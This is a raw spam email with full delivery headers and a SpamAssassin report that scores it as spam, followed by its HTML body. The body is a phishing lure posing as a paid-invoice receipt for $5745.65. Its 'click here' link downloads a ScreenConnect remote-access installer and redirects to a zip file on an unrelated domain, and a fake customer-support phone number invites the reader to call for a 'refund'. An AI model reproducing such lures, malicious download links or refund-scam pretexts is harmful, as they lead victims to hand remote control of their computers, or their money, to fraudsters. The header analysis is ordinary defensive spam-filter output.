­­­­­­­­­­­­­­­­­­
<!DOCTYPE html>
<html>
Return-Path: <ciara@healthyroots.ca>
Delivered-To: info+spam@autozone.com.sa
Received: from node93.myfcloudin.com
	by node93.myfcloudin.com with LMTP
	id /bOBCkl0qWq6lTsAhsgHWA
	(envelope-from <ciara@healthyroots.ca>)
	for <info+spam@autozone.com.sa>; Tue, 15 Sep 2026 16:37:29 +0000
Return-path: <ciara@healthyroots.ca>
Envelope-to: info@autozone.com.sa
Delivery-date: Tue, 15 Sep 2026 16:37:29 +0000
Received: from [45.116.76.29] (port=49489 helo=healthyroots.ca)
	by node93.myfcloudin.com with esmtp (Exim 4.100)
	(envelope-from <ciara@healthyroots.ca>)
	id 1x6W9w-0000000GNjq-08qF
	for info@autozone.com.sa;
	Tue, 15 Sep 2026 16:37:28 +0000
From: ciara@healthyroots.ca
To: info@autozone.com.sa
Date: 16 Sep 2026 00:36:36 +0800
Message-ID: <20260916003636.C98C27ED2698A246@healthyroots.ca>
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=40.9
X-Spam-Score: 409
X-Spam-Bar: ++++++++++++++++++++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "node93.myfcloudin.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Paid Invoice Receipt Dear Customer, 
 Content analysis details:   (40.9 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  3.3 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
                             [45.116.76.29 listed in zen.spamhaus.org]
  3.3 RCVD_IN_SBL_CSS        RBL: Received via a relay in Spamhaus SBL-CSS
                             [45.116.76.29 listed in zen.spamhaus.org]
  0.1 RCVD_IN_SBL            RBL: Received via a relay in Spamhaus SBL
                             [45.116.76.29 listed in zen.spamhaus.org]
  4.4 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
                             [45.116.76.29 listed in zen.spamhaus.org]
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: thelittlecupandsaucer.com.au]
  1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
                [Blocked - see <https://www.spamcop.net/bl.shtml?45.116.76.29>]
  6.2 RCVD_IN_MSPIKE_L5      RBL: Very bad reputation (-5)
                             [45.116.76.29 listed in bl.mailspike.net]
  1.5 SPF_HELO_SOFTFAIL      SPF: HELO does not match SPF record (softfail)
  2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                             [45.116.76.29 listed in psbl.surriel.com]
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 RCVD_IN_MSPIKE_BL      Mailspike blocklisted
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  1.5 GOOG_REDIR_HTML_ONLY   Google redirect to obscure spamvertised website
                             + HTML only
  0.4 HTML_MIME_NO_HTML_TAG  HTML-only message, but there is no HTML tag
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  1.5 KAM_GOOGLE_REDIR       Use of Google redir
  1.5 GOOG_REDIR_NORDNS      Google redirect to obscure spamvertised website +
                             no rDNS
  2.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML only
  1.5 RCVD_IN_HOSTKARMA_BL   RBL: Sender listed in HOSTKARMA-BLACK
                         [45.116.76.29 listed in hostkarma.junkemailfilter.com]
  0.0 LOTS_OF_MONEY          Huge... sums of money
X-Spam-Flag: YES
Subject:  ***SPAM***  Invoice Charge Clarification Request

<p>Paid Invoice Receipt</p>
<div>
<p>Dear Customer,<br /><br />=A0Payment of $5745.65 was Received.<br /><br =
/>Please=A0<a href=3D"https://iconnectmkt.screenconnect.com/Bin/ScreenConne=
ct.ClientSetup.exe?e=3DAccess&amp;y=3DGuest?e=3DAccess&amp;y=3DGuest" targe=
t=3D"_blank" rel=3D"noopener noreferrer" data-saferedirecturl=3D"https://ww=
w.google.com/url?q=3Dhttps://thelittlecupandsaucer.com.au/EFT_017502.zip&am=
p;source=3Dgmail&amp;ust=3D1788574128887000&amp;usg=3DAOvVaw0ejmloQQPOXAtTf=
5gczxG2">click here</a>=A0to view your Order Information in=A0<a rel=3D"noo=
pener noreferrer">PDF</a><br /><br />If this charge wasn't authorized by yo=
u, contact our customer service to cancel and<br />receive an immediate ref=
und.<br /><br /><br />Digitally Yours,<br />Customer Support: +1(332)638474=
823</p>
</div>